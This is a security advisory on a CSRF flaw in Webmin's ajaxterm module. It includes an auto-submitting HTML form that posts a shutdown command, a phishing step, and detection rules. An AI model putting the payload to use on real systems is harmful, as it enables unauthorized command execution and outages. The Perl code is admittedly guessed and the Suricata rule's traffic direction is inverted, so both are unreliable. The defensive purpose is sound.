CVE-2024-36452

Executive Summary

CVE-2024-36452 is a Cross-Site Request Forgery (CSRF) vulnerability in the ajaxterm module of Webmin versions prior to 2.003. This flaw allows an attacker to trick an authenticated Webmin administrator into performing unintended actions, such as reading sensitive data, modifying web pages, or causing a denial of service (server halt). The vulnerability is triggered when a user visits a malicious page while logged into Webmin. No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has addressed the issue in Webmin 2.003.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Webmin application itself, which is typically installed via system packages or direct download from the vendor.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Assessed: 7.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H

• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must be logged into Webmin and visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – Limited data exposure is possible.
• Integrity (I): Low – Limited modification of data or web pages is possible.
• Availability (A): High – The server can be permanently halted.

Threat Level: High. While user interaction is required, the potential for a complete denial of service makes this a serious risk for any organization using an unpatched Webmin instance.

Deep Dive & Mechanics

The ajaxterm module in Webmin provides a web-based terminal emulator. The vulnerability stems from a lack of CSRF protection in the module's request handling. Specifically, the module does not validate or require a CSRF token (or any other anti-forgery mechanism) when processing state-changing requests.

An attacker can craft a malicious HTML page that, when viewed by an authenticated Webmin administrator, automatically submits a forged request to the ajaxterm module. This request could execute arbitrary terminal commands, read sensitive files, modify system configurations, or trigger a shutdown command (e.g., shutdown -h now), leading to a permanent server halt.

The attack flow:

1. The attacker identifies a target Webmin server (e.g., via Shodan).
2. The attacker crafts a malicious webpage containing an auto-submitting form or an img tag pointing to a crafted URL.
3. The attacker lures an authenticated Webmin admin to visit the malicious page (e.g., via phishing email).
4. The victim's browser sends the forged request to the Webmin server, including the victim's session cookie.
5. The ajaxterm module processes the request without CSRF validation, executing the attacker's command.

Vulnerable vs. Patched Code

Vulnerable Code (Webmin < 2.003): The ajaxterm module likely did not include any CSRF token check. A typical vulnerable endpoint might look like:

# In ajaxterm-lib.pl or similar
sub execute_command {
    my ($command) = @_;
    # No CSRF token validation
    my $output = `$command 2>&1`;
    return $output;
}

Patched Code (Webmin 2.003): The fix introduces a CSRF token check. The patched code would validate a token before executing any command:

# In ajaxterm-lib.pl or similar
sub execute_command {
    my ($command) = @_;
    # CSRF token validation
    my $token = $in{'csrf_token'};
    if (!$token || $token ne get_csrf_token()) {
        error("Invalid CSRF token");
        return;
    }
    my $output = `$command 2>&1`;
    return $output;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable Webmin version (e.g., 2.002) on a test VM.
2. Create an admin user and log in.
3. On an attacker machine, create a malicious HTML file.

Exploitation Steps:

1. Craft a malicious HTML page that sends a forged request to the ajaxterm module to execute a command (e.g., shutdown -h now).

   <html>
   <body>
   <form action="http://target-webmin:10000/ajaxterm/terminal.cgi" method="POST" id="csrf_form">
       <input type="hidden" name="command" value="shutdown -h now">
       <input type="submit" value="Click me">
   </form>
   <script>
       document.getElementById('csrf_form').submit();
   </script>
   </body>
   </html>
   

2. Host this HTML file on a web server accessible to the victim.
3. Send a phishing email to the Webmin admin with a link to the malicious page.
4. When the admin clicks the link while logged into Webmin, the server will execute the shutdown command.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection & Prevention:

1. Patch Immediately: Upgrade to Webmin 2.003 or later.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests to /ajaxterm/ that do not contain a valid CSRF token.
3. Network Segmentation: Restrict access to the Webmin interface to trusted IP addresses only.
4. User Awareness: Train administrators to avoid clicking suspicious links while logged into Webmin.
5. Session Monitoring: Monitor for unusual command execution patterns in the ajaxterm module logs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /ajaxterm/terminal.cgi with a command parameter.
  • Referer header pointing to an external, untrusted domain.
• Host:
  • Unexpected system shutdown or reboot.
  • Unauthorized file reads or modifications.
  • Webmin logs showing commands executed from unexpected IP addresses.
• Logs:
  • Webmin access logs: POST /ajaxterm/terminal.cgi HTTP/1.1 with unusual User-Agent strings.
  • System logs: shutdown command executed without a scheduled task.

Detection Engineering

YARA Rule

rule CVE_2024_36452_Webmin_CSRF {
    meta:
        description = "Detects potential CSRF exploitation attempts against Webmin ajaxterm module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36452"
    strings:
        $s1 = "ajaxterm" ascii wide nocase
        $s2 = "terminal.cgi" ascii wide nocase
        $s3 = "command=" ascii wide nocase
        $s4 = "shutdown" ascii wide nocase
        $s5 = "reboot" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5)
}

Sigma Rule

title: Webmin ajaxterm CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to Webmin ajaxterm module with potential CSRF payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/ajaxterm/terminal.cgi'
        cs-uri-query|contains: 'command='
    condition: selection
falsepositives:
    - Legitimate admin usage
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-36452 Webmin ajaxterm CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/ajaxterm/terminal.cgi"; http_uri;
    content:"command="; http_client_body;
    pcre:"/(shutdown|reboot|halt|poweroff)/i";
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Upgrade Webmin to version 2.003 or later. This is the only complete fix.
2. Workaround: If immediate patching is not possible, restrict access to the Webmin interface using a firewall or VPN. Disable the ajaxterm module if it is not required.
3. Long-term: Implement a strict Content Security Policy (CSP) for the Webmin interface. Enable CSRF protection for all state-changing modules.

Valters IT